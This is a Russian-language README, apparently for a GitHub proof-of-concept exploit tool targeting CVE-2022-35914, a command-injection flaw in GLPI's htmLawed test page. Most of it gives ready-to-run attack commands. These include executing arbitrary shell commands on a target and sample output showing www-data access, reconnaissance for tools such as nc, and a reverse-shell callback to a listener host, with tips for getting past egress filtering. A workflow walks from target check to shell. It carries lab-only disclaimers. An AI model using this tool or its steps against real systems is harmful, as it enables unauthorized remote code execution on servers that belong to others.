CVE-2022-35914 от cyb3rk0ala

PoC для CVE-2022-35914 — уязвимости внедрения команд, связанной с тестовым компонентом htmLawed в уязвимых установках GLPI.

Инструмент обеспечивает выполнение команд через уязвимую конечную точку и включает опциональную функциональность обратного вызова для авторизованных лабораторных сред.

Отказ от ответственности: Этот проект предназначен только для авторизованного тестирования безопасности, CTF, лабораторий OffSec/PG и образовательных целей. Не используйте его против систем без явного разрешения.

Уязвимость

Поле	Детали
CVE	`CVE-2022-35914`
Программное обеспечение	GLPI v.10.0.2
Компонент	htmLawed
Уязвимая конечная точка	`/vendor/htmlawed/htmlawed/htmLawedTest.php`

Уязвимый компонент может позволить выполнение команд через специально сформированные параметры на затронутых установках.

Возможности

Выполнение команд
Автоматическое построение URL цели
Настраиваемый HTTP-порт цели
Автоматическое получение сессии/токена
Извлечение вывода команд
Проверка цели
Поддержка пользовательского User-Agent
Опциональная настройка обратного вызова
Цветной вывод в терминале
Интерфейс командной строки на Python 3

Требования

Python 3 и необходимые зависимости.

Kali Linux

sudo apt install python3-requests python3-bs4

Виртуальное окружение

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Установка

Клонируйте репозиторий:

git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Сделайте скрипт исполняемым:

chmod +x glpi.py

Использование

Справка

python3 glpi.py -h

Базовое выполнение команд

python3 glpi.py -u TARGET_IP -c 'id'

Пример вывода:

[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

Выполнение команд

Опция -c задаёт команду для выполнения.

Текущий пользователь

python3 glpi.py -u TARGET_IP -c 'whoami'

Текущие привилегии

python3 glpi.py -u TARGET_IP -c 'id'

Операционная система

python3 glpi.py -u TARGET_IP -c 'uname -a'

Доступные утилиты

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Опции

Опция	Описание	По умолчанию
`-u`, `--url`	URL или IP-адрес цели	Обязательно
`-c`, `--cmd`	Команда для выполнения	`id`
`--check`	Проверить цель без выполнения команды	Отключено
`--user-agent`	Пользовательский HTTP User-Agent	По умолчанию
`-p`, `--rport`	Порт HTTP-сервиса цели	`80`
`-l`, `--lhost`	IP-адрес обратного вызова/слушателя	—
`-lp`, `--lport`	Порт обратного вызова/слушателя	—

Порт цели

Опция -p / --rport задаёт порт, на котором работает уязвимый веб-сервис GLPI.

По умолчанию:

Пример:

python3 glpi.py -u TARGET_IP -p 80 -c 'id'

Проверка цели

Используйте --check, чтобы убедиться в доступности тестовой страницы htmLawed без выполнения команды:

python3 glpi.py -u TARGET_IP --check

Пользовательский User-Agent

Пользовательский HTTP User-Agent можно задать с помощью:

python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

Обратная оболочка

Скрипт поддерживает опциональные параметры обратного вызова:

-l   IP-адрес обратного вызова/слушателя
-lp  Порт обратного вызова/слушателя

Пример:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

В этом примере:

Target:   TARGET_IP:80
Callback: LHOST:80

Эти два порта имеют разное назначение:

-p   = HTTP-порт GLPI цели
-lp  = Порт обратного вызова/слушателя

Примечание о лаборатории OffSec

Во время тестирования в лабораторной среде OffSec обратный вызов успешно работал через TCP-порт 80.

Другие порты обратного вызова, например 4444, могут завершаться по тайм-ауту в зависимости от лабораторной сети и фильтрации исходящего трафика.

Для протестированной среды:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Слушатель был настроен на VPN-интерфейсе Kali с использованием TCP-порта 80.

Важно: Использование порта 80 для обратного вызова — это наблюдение, специфичное для данной среды. Это не является требованием CVE-2022-35914.

Устранение неполадок

Выполнение команд работает, а обратный вызов — нет

Сначала проверьте выполнение команд:

python3 glpi.py -u TARGET_IP -c 'id'

Проверьте наличие необходимых утилит:

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Если выполнение команд работает, но обратный вызов завершается по тайм-ауту, проверьте маршрутизацию VPN и порт обратного вызова.

Вывод команд выглядит некорректно

Если разбор вывода команд не удаётся, полный HTTP-ответ сохраняется в:

/tmp/glpi.html

Просмотрите его с помощью:

less /tmp/glpi.html

или:

mousepad /tmp/glpi.html

Пример рабочего процесса

1. Проверка цели

python3 glpi.py \
    -u TARGET_IP \
    --check

2. Подтверждение выполнения команд

python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Определение текущего пользователя

python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Проверка доступных инструментов

python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Настройка обратного вызова

Для протестированной лабораторной среды OffSec:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Отказ от ответственности

Этот проект предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности.

Автор не несёт ответственности за любое неправомерное использование, ущерб, несанкционированный доступ или незаконную деятельность, связанную с этим программным обеспечением.

Всегда получайте явное разрешение перед тестированием системы.

Автор

cyb3rk0ala

CVE

CVE-2022-35914

Проект

CVE-2022-35914 от cyb3rk0ala

CVE-2022-35914-RCE

Популярное